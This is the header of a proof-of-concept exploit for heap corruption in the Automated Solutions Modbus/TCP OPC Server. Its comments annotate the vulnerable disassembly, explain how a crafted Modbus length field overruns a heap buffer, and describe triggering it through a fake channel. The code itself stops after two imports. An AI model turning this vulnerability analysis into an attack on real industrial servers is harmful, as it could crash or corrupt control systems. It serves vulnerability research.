# Automated Solutions Modbus/TCP OPC Server Remote Heap Corruption PoC

# A specially crafted length field in a MODBUS packet header can trigger heap corruption.  
# 00408312 |> 8B5424 3C MOV EDX,DWORD PTR SS:[ESP+3C] -> move length into edx  
# 00408316 |. 53 PUSH EBX -> push src onto stack  
# 00408317 |. 8B5C24 3C MOV EBX,DWORD PTR SS:[ESP+3C] -> move dest into ebx   
# 0040831B |. 8BCA MOV ECX,EDX -> move length into ecx  
# 0040831D |. 55 PUSH EBP -> push ebp onto stack  
# 0040831E |. 8BE9 MOV EBP,ECX -> move ecx into ebp  
# 00408320 |. 57 PUSH EDI -> push edi onto stack  
# 00408321 |. 33C0 XOR EAX,EAX -> eax = 0  
# 00408323 |. 8BFB MOV EDI,EBX -> move dest into edi  
# 00408325 |. 895C24 1C MOV DWORD PTR SS:[ESP+1C],EBX -> move ebx into dword at esp+1c  
# 00408329 |. C1E9 02 SHR ECX,2 -> shift ecx right twice  
# 0040832C |. F3:AB REP STOS DWORD PTR ES:[EDI] -> fill ecx dwords at edi with eax  
# So basically memset(edi,eax,ecx). We control ecx, so we have control over the number of dwords  
# it writes in the heap buffer. But, as you can see, the dwords themselves are not controllable,  
# they are NULL. However, we can still write past the bounds of the allocated chunk of memory.  
# Although it seems unlikely code execution could result, it is still possible to write data  
# past the memory allocated on a heap (0x350000) available in the server process.  
# This code works by setting up a fake channel and accepting a connection. To trigger this  
# vulnerability, the server simply needs to initiate communication (monitor mode would be ideal)  
# with this fake channel and the results depend on the response you choose.  
# I tested version 3 running on Windows. Testing the server with this code and its default  
# response should't cause the server to crash (immediately anyways). Larger lengths (such as  
# the one commented out) may cause the server to crash.  
# Patch:  
import sys  
import socket  
# [trans] [prot] [len] [u] [f] [bc] [data]
